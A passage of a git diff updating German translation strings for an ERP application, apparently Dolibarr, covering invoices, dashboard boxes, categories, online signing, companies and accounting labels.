ViewAvailableGlobalDiscounts=Zeige verfügbare Rabatte -GroupPaymentsByModOnReports=Zahlungen nach Modus auf Berichte gruppieren +GroupPaymentsByModOnReports=In Berichten Zahlungen nach Zahlungsart gruppieren # PaymentConditions Statut=Status PaymentConditionShortRECEP=sofort @@ -519,7 +523,7 @@ CreditNoteConvertedIntoDiscount=Diese Gutschrift %s wurde in %s umgewandelt UsBillingContactAsIncoiveRecipientIfExist=Verwenden Sie Kontakt / Adresse mit dem Typ "Rechnungskontakt" anstelle der Adresse eines Geschäftspartners als Empfänger für Rechnungen ShowUnpaidAll=Zeige alle unbezahlten Rechnungen ShowUnpaidLateOnly=Zeige nur verspätete unbezahlte Rechnung -PaymentInvoiceRef=Die Zahlung der Rechnung %s +PaymentInvoiceRef=Zahlung für Rechnung %s ValidateInvoice=Rechnung freigeben ValidateInvoices=Rechnungen freigeben Cash=Bar @@ -555,41 +559,41 @@ CactusNumRefModelDesc1=Rückgabenummer im Format %syymm-nnnn für Standard-Rechn EarlyClosingReason=Grund für die vorzeitige Schließung EarlyClosingComment=Notiz zur vorzeitigen Schließung ##### Types de contacts ##### -TypeContact_facture_internal_SALESREPFOLL=Repräsentative Follow-up Kundenrechnung +TypeContact_facture_internal_SALESREPFOLL=Mitarbeiter für Nachverfolgung der Kundenrechnung TypeContact_facture_external_BILLING=Kontakt für Kundenrechnungen TypeContact_facture_external_SHIPPING=Kundenversand Kontakt TypeContact_facture_external_SERVICE=Kundenservice Kontakt -TypeContact_invoice_supplier_internal_SALESREPFOLL=Repräsentative Folgerechnung eines Lieferanten +TypeContact_invoice_supplier_internal_SALESREPFOLL=Mitarbeiter für Nachverfolgung der Lieferantenrechnung TypeContact_invoice_supplier_external_BILLING=Kontakt für Lieferantenrechnungen TypeContact_invoice_supplier_external_SHIPPING=Kontakt für Lieferantenversand TypeContact_invoice_supplier_external_SERVICE=Händler-Servicekontakt # Situation invoices -InvoiceFirstSituationAsk=Erste Fortschritt-Rechnung -InvoiceFirstSituationDesc=Die Abschlagsrechnungen beziehen sich auf Abschläge, die einem Fortschritt entsprechen, beispielsweise dem Fortschritt eines Bauvorhabens. Jeder Abschlag ist mit einer Rechnung verknüpft. -InvoiceSituation=Rechnung nach Fortschritt -PDFInvoiceSituation=Rechnung nach Fortschritt -InvoiceSituationAsk=Rechnung folgende Situation -InvoiceSituationDesc=Erstellen Sie eine neue Situation im Anschluss an eine bereits bestehende -SituationAmount=Situation Rechnungsbetrag (ohne USt.) +InvoiceFirstSituationAsk=Erste Abschlagsrechnung +InvoiceFirstSituationDesc=Die Abschlagsrechnungen beziehen sich auf Abschläge, die einem Fortschritt entsprechen, beispielsweise dem Fortschritt eines Bauvorhabens. Jeder erreichte Fortschritt ist mit einer Rechnung verknüpft. +InvoiceSituation=Abschlagsrechnung +PDFInvoiceSituation=Abschlagsrechnung +InvoiceSituationAsk=Abschlagsrechnung nach Fortschritt +InvoiceSituationDesc=Erstellen Sie eine neue Abschlagsrechnung im Anschluss an eine bereits bestehende +SituationAmount=Rechnungsbetrag Abschlagsrechnung (ohne USt.) SituationDeduction=Situation Subtraktion ModifyAllLines=Bearbeite alle Zeilen -CreateNextSituationInvoice=Erstelle nächsten Fortschritt-Rechnung +CreateNextSituationInvoice=Erstelle nächste Abschlagsrechnung ErrorFindNextSituationInvoice=Fehler Kann die nächste Situation im Zyklus nicht finden -ErrorOutingSituationInvoiceOnUpdate=Kann diese Situationsrechnung nicht ausschliessen. +ErrorOutingSituationInvoiceOnUpdate=Kann diese Abschlagsrechnung nicht ausschliessen. ErrorOutingSituationInvoiceCreditNote=Kann dies verknüpfte Gutschrift nicht ausschliessen. NotLastInCycle=Diese Rechnung ist nicht die letzte im Zyklus und darf nicht geändert werden. -DisabledBecauseNotLastInCycle=Die nächste Situation existiert bereits. -DisabledBecauseFinal=Dieser Status ist endgültig. +DisabledBecauseNotLastInCycle=Eine nachfolgende Abschlagsrechnung existiert bereits. +DisabledBecauseFinal=Diese Abschlagsrechnung ist endgültig. situationInvoiceShortcode_AS=AS situationInvoiceShortcode_S=So -CantBeLessThanMinPercent=Der Fortschritt kann nicht kleiner als sein bisheriger Wert werden. +CantBeLessThanMinPercent=Der Fortschritt kann nicht kleiner als in der vorhergehenden Abschlagsrechnung sein. NoSituations=Keine offenen Positionen InvoiceSituationLast=Allgemeine Endrechnung -PDFCrevetteSituationNumber=Fortschritt-Rechnung Nr. %s +PDFCrevetteSituationNumber=Abschlagsrechnung Nr. %s PDFCrevetteSituationInvoiceLineDecompte=Fortschrittsrechnungen - Anzahl -PDFCrevetteSituationInvoiceTitle=Rechnung nach Fortschritt -PDFCrevetteSituationInvoiceLine=Teilrechnung Nr. %s: Rechnung Nr.%s über %s -TotalSituationInvoice=Gesamt Fortschrittrechnung +PDFCrevetteSituationInvoiceTitle=Abschlagsrechnung nach Fortschritt +PDFCrevetteSituationInvoiceLine=Abschlagsrechnung Nr. %s: Rechnung Nr.%s über %s +TotalSituationInvoice=Summe Abschlagsrechnung invoiceLineProgressError=Fortschritt der Rechnungsposition kann nicht größer oder gleich sein wie der Status der nächsten Rechnungsposition updatePriceNextInvoiceErrorUpdateline=Fehler: Preis auf Rechnungszeile aktualisieren: %s ToCreateARecurringInvoice=Um eine wiederkehrende Rechnung für diesen Vertrag zu erstellen, legen Sie zuerst einen Rechnungsentwurf an, wandeln diesen dann in eine Rechnungsvorlage um und definieren die Häufigkeit der Erstellung der zukünftigen Rechnungen. @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Zahlung registriert und Rechnung %s auf bez SendEmailsRemindersOnInvoiceDueDate=Bei unbezahlten Rechnungen per E-Mail erinnern MakePaymentAndClassifyPayed=Zahlung aufzeichnen BulkPaymentNotPossibleForInvoice=Massenzahlung ist für Rechnung %s nicht möglich (falscher Typ oder Status) +MentionVATDebitOptionIsOn=Option zur Zahlung von Steuern auf Basis der Soll-Versteuerung +MentionCategoryOfOperations=Tätigkeitskategorie +MentionCategoryOfOperations0=Lieferung von Waren +MentionCategoryOfOperations1=Erbringung von Dienstleistungen +MentionCategoryOfOperations2=Gemischt - Lieferung von Waren und Erbringung von Dienstleistungen diff --git a/htdocs/langs/de_DE/boxes.lang b/htdocs/langs/de_DE/boxes.lang index f3ef38c8351..ff43c0816ca 100644 --- a/htdocs/langs/de_DE/boxes.lang +++ b/htdocs/langs/de_DE/boxes.lang @@ -7,14 +7,14 @@ BoxProductsAlertStock=Bestandeswarnungen für Produkte BoxLastProductsInContract=Zuletzt in Verträgen aufgenommene Produkte/Leistungen (maximal %s) BoxLastSupplierBills=Neueste Lieferantenrechnungen BoxLastCustomerBills=Neueste Kundenrechnungen -BoxOldestUnpaidCustomerBills=älteste unbezahlte Kundenrechnungen -BoxOldestUnpaidSupplierBills=älteste unbezahlte Lieferantenrechnungen +BoxOldestUnpaidCustomerBills=Älteste unbezahlte Kundenrechnungen +BoxOldestUnpaidSupplierBills=Älteste unbezahlte Lieferantenrechnungen BoxLastProposals=Neueste Angebote BoxLastProspects=Zuletzt bearbeitete Interessenten -BoxLastCustomers=zuletzt berarbeitete Kunden -BoxLastSuppliers=zuletzt bearbeitete Lieferanten -BoxLastCustomerOrders=neueste Lieferantenbestellungen -BoxLastActions=Neuste Aktionen +BoxLastCustomers=Zuletzt bearbeitete Kunden +BoxLastSuppliers=Zuletzt bearbeitete Lieferanten +BoxLastCustomerOrders=Neueste Lieferantenbestellungen +BoxLastActions=Neueste Aktionen BoxLastContracts=Neueste Verträge BoxLastContacts=Neueste Kontakte/Adressen BoxLastMembers=neueste Mitglieder @@ -24,6 +24,7 @@ BoxFicheInter=Neueste Serviceaufträge BoxCurrentAccounts=Saldo offene Konten BoxTitleMemberNextBirthdays=Geburtstage in diesem Monat (Mitglieder) BoxTitleMembersByType=Mitglieder nach Typ und Status +BoxTitleMembersByTags=Mitglieder nach Kategorien und Status BoxTitleMembersSubscriptionsByYear=Mitgliederabonnements nach Jahr BoxTitleLastRssInfos=%s neueste Neuigkeiten von %s BoxTitleLastProducts=Zuletzt bearbeitete Produkte / Leistungen (maximal %s) @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Lieferantenbestellungen warten auf Einga BoxTitleLastModifiedContacts=Zuletzt bearbeitete Kontakte/Adressen (maximal %s) BoxMyLastBookmarks=Meine %s neuesten Lesezeichen BoxOldestExpiredServices=Die ältesten abgelaufenen aktiven Dienste +BoxOldestActions=Älteste zu erledigende Ereignisse BoxLastExpiredServices=Neueste Verträge mit abgelaufenen Leistungen (maximal %s) BoxTitleLastActionsToDo=Anstehende Termine/Aufgaben (maximal %s) +BoxTitleOldestActionsToDo=Älteste %s zu erledigende Ereignisse, die nicht abgeschlossen sind BoxTitleLastContracts=Zuletzt bearbeitete Verträge (maximal %s) BoxTitleLastModifiedDonations=Letzte %s Spenden, die geändert wurden BoxTitleLastModifiedExpenses=Neueste %s Spesenabrechnungen, die geändert wurden @@ -55,14 +58,14 @@ BoxTitleLastOutstandingBillReached=Kunden mit überschrittenen Maximal-Aussenst BoxGlobalActivity=Globale Aktivität (Rechnungen, Angebote, Aufträge) BoxGoodCustomers=Gute Kunden BoxTitleGoodCustomers=%s gute Kunden -BoxScheduledJobs=Geplante Aufträge +BoxScheduledJobs=Geplante Jobs BoxTitleFunnelOfProspection=Lead Funnel FailedToRefreshDataInfoNotUpToDate=Fehler beim RSS-Abruf. Letzte erfolgreiche Aktualisierung: %s LastRefreshDate=Letzte Aktualisierung NoRecordedBookmarks=Keine Lesezeichen definiert. -ClickToAdd=Hier klicken um hinzuzufügen. -NoRecordedCustomers=keine erfassten Kunden -NoRecordedContacts=keine erfassten Kontakte +ClickToAdd=Hier klicken zum Hinzufügen. +NoRecordedCustomers=Keine erfassten Kunden +NoRecordedContacts=Keine erfassten Kontakte NoActionsToDo=Keine Aufgaben/Termine zu erledigen NoRecordedOrders=Keine erfassten Kundenaufträge NoRecordedProposals=Keine erfassten Angebote @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Kunden mit erreichtem Aussenstände-Limit UsersHome=Start Benutzer und Gruppen MembersHome=Start Mitgliedschaft ThirdpartiesHome=Start Geschäftspartner +productindex=Startseite Produkte und Leistungen +mrpindex=Startseite MRP +commercialindex=Startseite Einkauf | Vertrieb +projectsindex=Startseite Projekte +invoiceindex=Startseite Rechnungen +hrmindex=Startseite Personalwesen TicketsHome=Start Tickets +stockindex=Startseite Warenlager +sendingindex=Startseite Lieferungen +receptionindex=Startseite Wareneingänge +activityindex=Startseite Aufgaben | Tätigkeiten +proposalindex=Startseite Angebote +ordersindex=Startseite Kundenaufträge +orderssuppliersindex=Startseite Lieferantenbestellungen +contractindex=Startseite Verträge +interventionindex=Startseite Serviceaufträge +suppliersproposalsindex=Startseite Lieferantenangebote +donationindex=Startseite Spenden +specialexpensesindex=Startseite Steuern | Sozialabgaben +expensereportindex=Startseite Spesenabrechnungen +mailingindex=Startseite E-Mail-Kampagnen +opensurveyindex=Startseite Umfragen AccountancyHome=Start Buchhaltung ValidatedProjects=Validierte Projekte diff --git a/htdocs/langs/de_DE/categories.lang b/htdocs/langs/de_DE/categories.lang index fac2e6f3d93..dac61114aa2 100644 --- a/htdocs/langs/de_DE/categories.lang +++ b/htdocs/langs/de_DE/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Dieses Mitglied ist keiner Kategorie zugewiesen. ContactHasNoCategory=Dieser Kontakt ist keiner Kategorie zugewiesen. ProjectHasNoCategory=Dieses Projekt ist keiner Kategorie zugewiesen. ClassifyInCategory=Hinzufügen +RemoveCategory=Kategorie entfernen NotCategorized=ohne Kategoriezuordnung CategoryExistsAtSameLevel=Diese Kategorie existiert bereits auf diesem Level ContentsVisibleByAllShort=öffentlicher Inhalt @@ -67,6 +68,7 @@ StockCategoriesShort=Lagerort-Kategorien ThisCategoryHasNoItems=Diese Kategorie enthält keine Elemente. CategId=Kategorie-ID ParentCategory=Übergeordnetes Schlagwort / Kategorie +ParentCategoryID=ID des übergeordneten Tags / der übergeordneten Kategorie ParentCategoryLabel=Label des übergeordneten Schlagwortes / der übergeordneten Kategorie CatSupList=Liste der Schlagwörter / Kategorien für Anbieter CatCusList=Liste der Schlagwörter / Kategorien für Kunden / Interessenten @@ -75,18 +77,18 @@ CatMemberList=Liste der Mitgliederkategorien CatContactList=Liste der Schlagwörter / Kategorien für Kontakte CatProjectsList=Liste der Schlagwörter / Kategorien für Projekte CatUsersList=Liste der Schlagwörter / Kategorien für Benutzer -CatSupLinks=Verknüpfungen zwischen Anbietern und Schlagwörter / Kategorien -CatCusLinks=Verbindung zwischen Kunden-/Leads und Kategorien +CatSupLinks=Verknüpfungen zwischen Anbietern und Kategorien +CatCusLinks=Verknüpfungen zwischen Kunden-/Leads und Kategorien CatContactsLinks=Verknüpfungen zwischen Kontakten/Adressen und Tags/Kategorien -CatProdLinks=Verbindung zwischen Produkten/Leistungen und Kategorien -CatMembersLinks=Verbindung zwischen Mitgliedern und Kategorien -CatProjectsLinks=Verbindung zwischen Projekten und Kategorien bzw. Suchwörtern -CatUsersLinks=Verknüpfungen zwischen Benutzern und Schlagwörter / Kategorien +CatProdLinks=Verknüpfungen zwischen Produkten/Leistungen und Kategorien +CatMembersLinks=Verknüpfungen zwischen Mitgliedern und Kategorien +CatProjectsLinks=Verknüpfungen zwischen Projekten und Kategorien bzw. Suchwörtern +CatUsersLinks=Verknüpfungen zwischen Benutzern und Kategorien DeleteFromCat=Aus Kategorie entfernen ExtraFieldsCategories=Ergänzende Attribute CategoriesSetup=Kategorie-Einstellungen CategorieRecursiv=Automatisch mit übergeordneter Kategorie verbinden -CategorieRecursivHelp=Wenn die Option aktiviert ist, wird beim Hinzufügen eines Produkts zu einer Unterkategorie das Produkt auch automatisch zur übergeordneten Kategorie hinzugefügt. +CategorieRecursivHelp=Wenn die Option aktiviert ist und Sie ein Objekt zu einer Unterkategorie hinzufügen, wird das Objekt auch zu den übergeordneten Kategorien hinzugefügt. AddProductServiceIntoCategory=Folgendes Produkt / folgende Leistung dieser Kategorie hinzufügen: AddCustomerIntoCategory=Ordnen Sie dem Kunden eine Kategorie zu AddSupplierIntoCategory=Ordnen Sie dem Lieferanten eine Kategorie zu @@ -99,5 +101,5 @@ TicketsCategoriesArea=Ticketkategorien ActionCommCategoriesArea=Ereigniskategorien WebsitePagesCategoriesArea=Seiteninhalte-Kategorien KnowledgemanagementsCategoriesArea=KM Artikelkategorien -UseOrOperatorForCategories=Verwenden Sie den Operator 'ODER' für Kategorien +UseOrOperatorForCategories=Kategoriesuche mit "ODER"-Verknüpfung ausführen AddObjectIntoCategory=Objekt zur Kategorie hinzufügen diff --git a/htdocs/langs/de_DE/commercial.lang b/htdocs/langs/de_DE/commercial.lang index ef4728401fb..0dbcc615b4e 100644 --- a/htdocs/langs/de_DE/commercial.lang +++ b/htdocs/langs/de_DE/commercial.lang @@ -18,7 +18,7 @@ TaskRDVWith=Termin mit %s ShowTask=Aufgabe anzeigen ShowAction=Ereignis anzeigen ActionsReport=Ereignis Journal -ThirdPartiesOfSaleRepresentative=Partner mit Vertriebsmitarbeiter +ThirdPartiesOfSaleRepresentative=Geschäftspartner des Vertriebsmitarbeiters SaleRepresentativesOfThirdParty=Vertriebsmitarbeiter des Geschäftspartners SalesRepresentative=Vertriebsmitarbeiter SalesRepresentatives=Vertriebsmitarbeiter @@ -74,8 +74,16 @@ StatusProsp=Kontaktstatus DraftPropals=Entworfene Angebote NoLimit=ohne Begrenzung ToOfferALinkForOnlineSignature=Link zur Onlinesignatur -WelcomeOnOnlineSignaturePage=%s begrüßt Sie zum Online-Service für Angebotsfreigaben -ThisScreenAllowsYouToSignDocFrom=Auf dieser Seite können Angebote angenommen und unterschrieben oder abgelehnt werden. -ThisIsInformationOnDocumentToSign=Information zum Dokument +WelcomeOnOnlineSignaturePageProposal=%s begrüßt Sie zum Online-Service für Angebotsfreigaben +WelcomeOnOnlineSignaturePageContract=Willkommen auf der %s Vertrags-PDF-Unterzeichnungsseite +WelcomeOnOnlineSignaturePageFichinter=Willkommen auf der PDF-Signaturseite von Serviceauftrag %s +ThisScreenAllowsYouToSignDocFromProposal=Auf dieser Seite können Angebote angenommen und unterschrieben oder abgelehnt werden. +ThisScreenAllowsYouToSignDocFromContract=Auf dieser Seite können Sie den Vertrag im PDF-Format online unterzeichnen. +ThisScreenAllowsYouToSignDocFromFichinter=Auf dieser Seite können Sie Serviceaufträge im PDF-Format online unterzeichnen. +ThisIsInformationOnDocumentToSignProposal=Information zum Dokument +ThisIsInformationOnDocumentToSignContract=Diese Vertragsinformationen sind zu unterzeichnen +ThisIsInformationOnDocumentToSignFichinter=Dies ist eine Information über den zu unterzeichnenden Serviceauftrag SignatureProposalRef=Unterschrift des Angebotes %s +SignatureContractRef=Unterschrift zum Vertrag %s +SignatureFichinterRef=Unterzeichnung des Serviceauftrags %s FeatureOnlineSignDisabled=Onlineunterschrift ist deaktiviert oder das Dokument wurde erstellt, bevor diese Funktion aktiviert wurde diff --git a/htdocs/langs/de_DE/companies.lang b/htdocs/langs/de_DE/companies.lang index 0797e3164ab..7208c46cfd7 100644 --- a/htdocs/langs/de_DE/companies.lang +++ b/htdocs/langs/de_DE/companies.lang @@ -29,7 +29,7 @@ AliasNameShort=Alias-Name Companies=Firmen CountryIsInEEC=Land ist EU-Mitglied PriceFormatInCurrentLanguage=Preisanzeigeformat in der aktuellen Sprache und Währung -ThirdPartyName=Name des Partners +ThirdPartyName=Name des Geschäftspartners ThirdPartyEmail=Geschäftspartner E-Mail ThirdParty=Geschäftspartner ThirdParties=Geschäftspartner @@ -130,7 +130,7 @@ ProfId1AT=Steuernummer (Finanzamt) ProfId2AT=Gerichtsstand ProfId3AT=Firmenbuchnummer ProfId4AT=DVR-Nummer -ProfId5AT=EORI-Nummer +ProfId5AT=EORI Nummer ProfId6AT=- ProfId1AU=Prof ID 1 ProfId2AU=- @@ -301,7 +301,7 @@ ProfId4DZ=Kundenidentifikationsnummer VATIntra=Umsatzsteuer-ID VATIntraShort=USt-IdNr. VATIntraSyntaxIsValid=Die Syntax ist gültig -VATReturn=Mehrwertsteuererstattung +VATReturn=Umsatzsteuervorauszahlung ProspectCustomer=Interessent/Kunde Prospect=Interessent CustomerCard=Kunde – Übersicht @@ -313,7 +313,7 @@ CustomerAbsoluteDiscountShort=Rabatt absolut CompanyHasRelativeDiscount=Dieser Kunde hat einen Rabatt von %s%% CompanyHasNoRelativeDiscount=Dieser Kunde hat standardmäßig keinen prozentualen Rabatt HasRelativeDiscountFromSupplier=Sie haben einen Standardrabatt von %s%% bei diesem Lieferanten -HasNoRelativeDiscountFromSupplier=Kein prozentualer Rabatt bei diesem Lieferanten +HasNoRelativeDiscountFromSupplier=Kein prozentualer Standardrabatt bei diesem Lieferanten CompanyHasAbsoluteDiscount=Dieser Kunde hat ein Guthaben verfügbar (Gutschriften oder Anzahlungen) für %s %s CompanyHasDownPaymentOrCommercialDiscount=Dieser Kunde hat ein Guthaben verfügbar (Gutschriften oder Anzahlungen) für%s %s CompanyHasCreditNote=Dieser Kunde hat noch Gutschriften über %s %s @@ -358,8 +358,8 @@ ValidityControledByModule=Vom Modul kontrollierte Gültigkeit ThisIsModuleRules=Regeln für dieses Modul ProspectToContact=Zu kontaktierender Interessent CompanyDeleted=Unternehmen "%s" aus der Datenbank gelöscht. -ListOfContacts=Liste der Kontakte -ListOfContactsAddresses=Liste der Kontakte +ListOfContacts=Liste der Kontakte/Adressen +ListOfContactsAddresses=Liste der Kontakte/Adressen ListOfThirdParties=Liste der Geschäftspartner ShowCompany=Geschäftspartner ShowContact=Kontakt-Adresse @@ -435,8 +435,8 @@ ExportDataset_company_1=Geschäftspartner (Firmen/Stiftungen/Natürliche Persone ExportDataset_company_2=Kontakte und ihre Eigenschaften ImportDataset_company_1=Geschäftspartner und ihre Eigenschaften ImportDataset_company_2=Kontakte/Adressen und Attribute -ImportDataset_company_3=Bankkonten des Geschäftspartners -ImportDataset_company_4=Dem Geschäftspartner zugeordneter Vertriebsmitarbeiter (Vertriebsmitarbeiter/Benutzer zu Unternehmen zuordnen) +ImportDataset_company_3=Bankkonten der Geschäftspartner +ImportDataset_company_4=Geschäftspartnern zugeordnete Vertriebsmitarbeiter (Vertriebsmitarbeiter/Benutzer zu Unternehmen zuordnen) PriceLevel=Preisstufe PriceLevelLabels=Preisniveau Etiketten DeliveryAddress=Lieferadresse @@ -444,7 +444,7 @@ AddAddress=Adresse hinzufügen SupplierCategory=Lieferantenkategorie JuridicalStatus200=Unabhängig DeleteFile=Datei löschen -ConfirmDeleteFile=Möchten Sie diese Datei wirklich löschen? +ConfirmDeleteFile=Möchten Sie die Datei %s wirklich löschen? AllocateCommercial=Diesem Vertriebsmitarbeiter zugeordnet Organization=Organisation FiscalYearInformation=Geschäftsjahr @@ -498,3 +498,9 @@ RestOfEurope=übriges Europa (EU / EWG) OutOfEurope=außerhalb Europas (EU / EWG) CurrentOutstandingBillLate=Offene Posten BecarefullChangeThirdpartyBeforeAddProductToInvoice=Seien Sie vorsichtig: Abhängig von Ihren Produktpreiseinstellungen sollten Sie den Geschäftspartner wechseln, bevor Sie das Produkt zum POS hinzufügen. +EmailAlreadyExistsPleaseRewriteYourCompanyName=E-Mail existiert bereits, bitte geben Sie Ihren Firmennamen neu ein +TwoRecordsOfCompanyName=Für dieses Unternehmen existiert mehr als ein Datensatz. Bitte kontaktieren Sie uns, um Ihre Partnerschaftsanfrage abzuschließen. +CompanySection=Unternehmensbereich +ShowSocialNetworks=Soziale Netzwerke anzeigen +HideSocialNetworks=Soziale Netzwerke ausblenden + diff --git a/htdocs/langs/de_DE/compta.lang b/htdocs/langs/de_DE/compta.lang index 35463b55e12..0d5579f0a49 100644 --- a/htdocs/langs/de_DE/compta.lang +++ b/htdocs/langs/de_DE/compta.lang @@ -5,8 +5,8 @@ TaxModuleSetupToModifyRulesLT=Hier können Sie die Einstellungen Die Gültigkeit der Zahlen ist nur bei Überprüfung der Zu- und Abgänge auf den Konten über Rechnungen gewährleistet. +OptionModeTrueDesc=Der Umsatz wird über Zahlungen (Zahlungszeitpunkt) berechnet (Ist-Versteuerung). Die Aussagekraft ist nur gegeben, wenn die Einnahmen und Ausgaben auf Basis entsprechender Rechnungen korrekt auf den Konten verbucht werden. +OptionModeVirtualDesc=Der Umsatz wird über Rechnungen (Rechnungsdatum) ermittelt (Soll-Versteuerung). Wenn diese Rechnungen fällig sind, ob sie bezahlt wurden oder nicht, werden sie in der Umsatzausgabe aufgeführt. FeatureIsSupportedInInOutModeOnly=Dieses Feature ist nur in der Soll-Haben-Option verfügbar (siehe Konfiguration des Rechnungswesen-Moduls) VATReportBuildWithOptionDefinedInModule=Die hier ausgewiesenen Beträge werden unter Verwendung der USt.-Regeln definiert. LTReportBuildWithOptionDefinedInModule=Die hier ausgewiesenen Beträge werden unter Verwendung der Firmen-Regeln definiert. @@ -29,6 +29,8 @@ BalanceBefore=Saldo (vorher) Balance=Saldo Debit=Soll Credit=Haben +AccountingDebit=Soll +AccountingCredit=Haben Piece=Beleg AmountHTVATRealReceived=Einnahmen (netto) AmountHTVATRealPaid=Ausgaben (netto) @@ -126,10 +128,10 @@ Turnover=Verrechneter Umsatz TurnoverCollected=Realisierter Umsatz SalesTurnoverMinimum=Mindestumsatz ByExpenseIncome=Ausgaben & Einnahmen -ByThirdParties=Durch Partner -ByUserAuthorOfInvoice=Durch Rechnungsersteller -CheckReceipt=Scheck erhalten -CheckReceiptShort=Scheck erhalten +ByThirdParties=Nach Geschäftspartnern +ByUserAuthorOfInvoice=Nach Rechnungsersteller +CheckReceipt=Scheckeinlösung +CheckReceiptShort=Scheckeinlösung LastCheckReceiptShort=%s neueste Schecks NewCheckReceipt=Neuen Scheck erhalten NewCheckDeposit=Neue Check Hinterlegung @@ -156,7 +158,7 @@ CalcModeVATDebt=Modus %s USt. auf Engagement Rechnungslegung %s. CalcModeVATEngagement=Modus %sTVA auf Einnahmen-Ausgaben%s. CalcModeDebt=Analyse bekannter erfasster Dokumente, auch wenn diese noch nicht im Hauptbuch erfasst sind. CalcModeEngagement=Analyse der erfassten Zahlungen, auch wenn diese noch nicht kontiert wurden -CalcModeBookkeeping=Analyse der in der Tabelle Buchhaltungs-Ledger protokollierten Daten. +CalcModeBookkeeping=Analyse der im Hauptbuch protokollierten Daten. CalcModeLT1= Modus %sRE auf Kundenrechnungen - Lieferantenrechnungen%s CalcModeLT1Debt=Modus %sRE auf Kundenrechnungen%s CalcModeLT1Rec= Modus %sRE auf Lieferantenrechnungen%s @@ -166,19 +168,19 @@ CalcModeLT2Rec= Modus %sIRPF auf Lieferantenrechnungen%s AnnualSummaryDueDebtMode=Saldo der Erträge und Aufwendungen, Jahresübersicht AnnualSummaryInputOutputMode=Saldo der Erträge und Aufwendungen, Jahresübersicht AnnualByCompanies=Bilanz Ertrag/Aufwand, pro vordefinierten Kontogruppen -AnnualByCompaniesDueDebtMode=Die Ertrags-/Aufwands-Bilanz nach vordefinierten Gruppen, im Modus %sForderungen-Verbindlichkeiten%s meldet Kameralistik. -AnnualByCompaniesInputOutputMode=Die Ertrags-/Aufwands-Bilanz im Modus %sEinkünfte-Ausgaben%s meldet Ist-Besteuerung. +AnnualByCompaniesDueDebtMode=Die Ertrags-/Aufwands-Bilanz nach vordefinierten Gruppen im Modus %sForderungen-Verbindlichkeiten%s d.h. Soll-Versteuerung. +AnnualByCompaniesInputOutputMode=Die Ertrags-/Aufwands-Bilanz im Modus %sEinkünfte-Ausgaben%s d.h. Soll-Versteuerung. SeeReportInInputOutputMode=Siehe %sAnalyse der Zahlungen%s für eine Berechnung basierend auf erfassten Zahlungen , auch wenn diese noch nicht ins Hauptbuch übernommen wurden. -SeeReportInDueDebtMode=Siehe %sAnalyse aufgezeichneter Dokumente%s für eine Berechnung basierend auf bekannten aufgezeichneten Dokumenten , auch wenn diese noch nicht ins Hauptbuch übernommen wurden. +SeeReportInDueDebtMode=Siehe %sAnalyse aufgezeichneter Dokumente%s für eine Berechnung basierend auf bekannten aufgezeichneten Dokumenten, auch wenn diese noch nicht ins Hauptbuch übernommen wurden. SeeReportInBookkeepingMode=Siehe %sAnalyse des Buchhaltungsbuchs-Tabelle%s für einen Bericht basierend auf Buchhaltungstabelle -RulesAmountWithTaxIncluded=- Angezeigte Beträge enthalten alle Steuern +RulesAmountWithTaxIncluded=- Angezeigte Beträge enthalten sämtliche Steuern RulesAmountWithTaxExcluded=- Die ausgewiesenen Rechnungsbeträge verstehen sich ohne Steuern -RulesResultDue=- Es beinhaltet alle Rechnungen, Ausgaben, Mehrwertsteuer, Spenden, Gehälter, unabhängig davon, ob sie bezahlt wurden oder nicht.
      - Es basiert auf dem Fälligkeitsdatum von Rechnungen und dem Fälligkeitsdatum für Spesen oder Steuerzahlungen. Für Gehälter wird das Datum des Periodenendes verwendet. -RulesResultInOut=- Es enthält die tatsächlichen Zahlungen auf Rechnungen, Ausgaben, Mehrwertsteuer und Gehälter.
      - Es basiert auf den Zahlungsterminen der Rechnungen, Spesen, Mehrwertsteuer, Spenden und Gehälter. -RulesCADue=- Es enthält die fälligen Rechnungen des Kunden, ob diese bezahlt sind oder nicht.
      - Es basiert auf dem Rechnungsdatum dieser Rechnungen.
      -RulesCAIn=- Es umfasst alle effektiven Zahlungen von Rechnungen, die von Kunden erhalten wurden.
      - Es basiert auf dem Zahlungsdatum dieser Rechnungen.
      -RulesCATotalSaleJournal=Es beinhaltet alle Gutschriftspositionen aus dem Verkaufsjournal. -RulesSalesTurnoverOfIncomeAccounts=Es umfasst (Gutschrift - Lastschrift) von Zeilen für Produktkonten in der Gruppe EINKOMMEN +RulesResultDue=- Es sind alle Rechnungen, Ausgaben, Mehrwertsteuer, Spenden, Gehälter, unabhängig davon, ob sie bezahlt wurden oder nicht, enthalten.
      - Basis ist das Fälligkeitsdatum von Rechnungen und das Fälligkeitsdatum für Spesen oder Steuerzahlungen. Für Gehälter wird das Datum des Periodenendes verwendet. +RulesResultInOut=- Enthalten sind die tatsächlichen Zahlungen auf Rechnungen, Ausgaben, Mehrwertsteuer und Gehälter.
      - Basis ist der Zahlungstermin der Rechnungen, Spesen, Mehrwertsteuer, Spenden und Gehälter. +RulesCADue=- Fällige Kundenrechnungen sind enthalten, ob diese bezahlt sind oder nicht.
      - Basis ist das Rechnungsdatum dieser Rechnungen.
      +RulesCAIn=- Enthalten sind alle effektiven Zahlungen von Rechnungen, die von Kunden erhalten wurden.
      - Basis ist das Zahlungsdatum dieser Rechnungen.
      +RulesCATotalSaleJournal=Alle Gutschriftspositionen aus dem Verkaufsjournal sind einbezogen. +RulesSalesTurnoverOfIncomeAccounts=Buchungen (Soll - Haben) von Positionen für Produktkonten in der Gruppe "Ertrag" sind enthalten RulesAmountOnInOutBookkeepingRecord=Beinhaltet Datensätze aus dem Hauptbuch mit den Gruppen "Aufwand" oder "Ertrag" RulesResultBookkeepingPredefined=Beinhaltet Datensätze aus dem Hauptbuch mit den Gruppen "Aufwand" oder "Ertrag" RulesResultBookkeepingPersonalized=Zeigt die Buchungen im Hauptbuch mit Konten gruppiert nach Kontengruppen @@ -220,7 +222,7 @@ InvoiceStats=Rechnungen Statistik Dispatch=Versenden Dispatched=Versendet ToDispatch=Zu versenden -ThirdPartyMustBeEditAsCustomer=Partner muss als Kunde definiert werden +ThirdPartyMustBeEditAsCustomer=Geschäftspartner muss als Kunde definiert werden SellsJournal=Verkaufsjournal PurchasesJournal=Einkaufsjournal DescSellsJournal=Verkaufsjournal @@ -228,10 +230,10 @@ DescPurchasesJournal=Einkaufsjournal CodeNotDef=Nicht definiert 